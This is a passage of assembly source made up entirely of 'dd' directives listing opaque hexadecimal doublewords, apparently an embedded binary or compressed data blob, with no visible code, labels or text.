58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh dd 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh dd 4E01017h, 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h dd 0B40B794h, 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh dd 110BC340h, 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h dd 34B2B380h, 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h dd 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h dd 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h dd 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h dd 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h dd 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h dd 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h dd 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh dd 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh dd 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh dd 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h dd 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h dd 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h dd 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h dd 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h, 328230Eh dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh dd 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh, 0B9071C09h dd 5AD09F7Bh, 347480BBh, 0F84FA1FEh, 43610708h, 0E08DF1E0h dd 91AA683Fh, 79015C79h, 5108C1B7h, 0BDF46A7Bh, 6F183ACCh dd 389D8680h, 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h, 4F76436Fh dd 7D26E871h, 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h dd 34B5EF69h, 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh dd 0DE60EF49h, 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h dd 0FC8CE9E7h, 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h dd 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h dd 7C428CC5h, 7C6BF048h, 87E28024h, 52F74400h, 922282Dh dd 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah dd 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh dd 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h dd 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h dd 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh dd 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch dd 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h dd 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h dd 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h dd 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h dd 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h dd 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh dd 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh dd 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h dd 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h dd 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h dd 3A580991h, 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh dd 70282E81h, 0F4EA0658h dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h dd 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h dd 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h, 0A593802Fh dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h, 0D726812h dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h dd 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh, 32A221E6h dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch, 6FCCFB87h dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh, 0B21A3CF9h dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h, 6FE60B27h dd 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h, 72DF70C4h dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h dd 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh, 886F883h dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh, 35441FA2h dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh dd 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch dd 204099B2h, 904210Ah, 5F531D0Eh, 0A20FC0C8h, 36E0882Ch dd 5B013B18h, 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh dd 3E0EACD8h, 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h dd 0BAD91Fh, 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h dd 16EE8C98h, 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h dd 0E8217061h, 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h dd 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h dd 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch dd 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h, 7503C8FEh dd 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh dd 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h dd 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h dd 3B67AC55h, 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h dd 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh dd 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h dd 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh dd 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h dd 2516001Dh, 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h dd 8B28031Dh, 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh dd 0E8D5F8h, 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh dd 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h dd 275DF2h, 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch dd 3A144143h, 0F01EBACAh dd 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh dd 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h dd 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h, 938013Ah dd 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h dd 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h dd 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah dd 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h dd 0CA106141h, 86164839h, 524A1CEh, 6F315314h, 20C897Ah dd 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch dd 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h dd 0F350F172h, 84000469h, 0B22A2041h, 296EECh, 1263F04Ah dd 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h dd 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h dd 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh dd 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h dd 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h dd 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh dd 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h dd 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h dd 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h dd 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h dd 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h dd 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h dd 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h dd 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h dd 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h dd 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh dd 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh dd 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh dd 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h, 55357469h dd 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h dd 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh dd 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh dd 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h dd 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h dd 8F26A69h, 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h dd 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah dd 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h dd 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh dd 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h dd 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh dd 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h, 9636641h dd 1D4B9085h, 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h dd 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch dd 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h dd 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h dd 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h dd 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h dd 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh dd 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h, 151AD042h dd 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h dd 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h dd 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h dd 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh dd 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch dd 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h dd 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h dd 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h dd 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h, 7598ABCh dd 2F06BD83h, 91590FEh, 8B005184h, 1CEEAA41h, 803108h dd 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h dd 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 